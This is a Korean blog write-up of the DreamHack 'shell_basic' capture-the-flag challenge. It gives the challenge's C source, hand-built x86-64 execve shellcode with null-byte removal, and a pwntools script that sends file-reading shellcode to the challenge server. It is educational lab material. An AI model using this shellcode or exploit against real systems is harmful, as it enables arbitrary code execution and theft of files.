CIDY
[System_Hacking] stage4_문제풀이(shell_basic) 본문
쉘코드 짜다가 빡쳐서 결국 shellcraft씀 ㅎㅎㅎ pwntools너무좋아
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
// 64-bit, nx, pie, full relro
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
일단 함수 포인터가 잘 세팅돼있으니 shellcode만 잘 입력해주면 된다. 물론 그냥 쉘코드 검색해서 갖다쓰는건 재미없으니 직접 만들거다.
global shell
shell:
xor rax, rax
xor rsi, rsi
xor rdx, rdx
mov rax, 0x68732f6e69622f
push rsi
push rax
mov rdi, rsp
push rsi
push rdi
mov rsi, rsp
mov rax, 0x3b
syscall
처음에 드림핵 실습때 쓴 코드 그대로 우려먹으려던 게 실행이 안 돼서 널까지 확실히 push해준 쉘코드를 새로 만들어줬다. (이제 일반 쉘코드는 눈감고 만들듯..)
이걸로 asm했을때 쉘은 안따이는데,
저 어셈블리를 컴파일 한 실행파일은 잘 된다ㅋㅋ 그럼 이걸 덤프떠서 한번 hex값으로 전송해보자.
아ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 덤프떠보니까 왜 실행이 안되는지 알았다. 쉘코드가 저모양인데 실행이 될 리가 없다.
일단 /bin/sh의 널바이트는 쉽게 없애줄 수 있다. 그냥 \x2f추가해주면 된다.
그리고 rax인자는 alphanumeric할때처럼 xor연산을 조져줘야 하나 생각했는데...그냥 쭉 00으로 밀어야 하는거니까 shr이 더 나을 듯.
global shell
shell:
xor rax, rax
xor rsi, rsi
xor rdx, rdx
mov rax, 0x68732f2f6e69622f
push rsi
push rax
mov rdi, rsp
push rsi
push rdi
mov rsi, rsp
mov rax, 0x3bffffffffffffff
shr rax, 0x38
syscall
수정된 쉘코드다. 컴파일해서 잘 되는 것은 확인했음.
덤프떠봐도 이상없다. 이제 익스코드쓰러 가보자.
-> 여전히 쉘이 실행되지 않는다ㅎ
-> 문제 설명 읽어보니 execve를 쓰지 말라고 한다ㅎㅎㅎ이걸 왜 이제봤을까요
다시 열심히 쉘코드를 짜긴 귀찮으니 그냥 shellcraft를 쓰자
from pwn import *
r = remote("host3.dreamhack.games", 16087)
context.arch = "amd64"
r.recvuntil(b"shellcode: ")
filedirect = "/home/shell_basic/flag_name_is_loooooong"
shellcode = shellcraft.linux.cat(filedirect)
r.send(asm(shellcode))
r.interactive()
익스...라고 하기도 뭣하지만 암튼 코드는 이러하다.
이번 문제는 조건을 놓쳐서 오래 걸린거긴 하지만.. 간단한 문제일수록 해보고 싶은 게 많아서 오래 걸리는 것 같기도 하다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage5_문제풀이(basic_exploitation_001) (0) | 2022.07.01 |
---|---|
[System_Hacking] stage5_문제풀이(basic_exploitation_000) (0) | 2022.07.01 |
[System_Hacking] stage5_문제풀이(RAO) (0) | 2022.07.01 |
[System_Hacking] stage5_SYSV디버깅 (0) | 2022.07.01 |
[System_Hacking] stage4_shellcode만들기(open, execve) (0) | 2022.07.01 |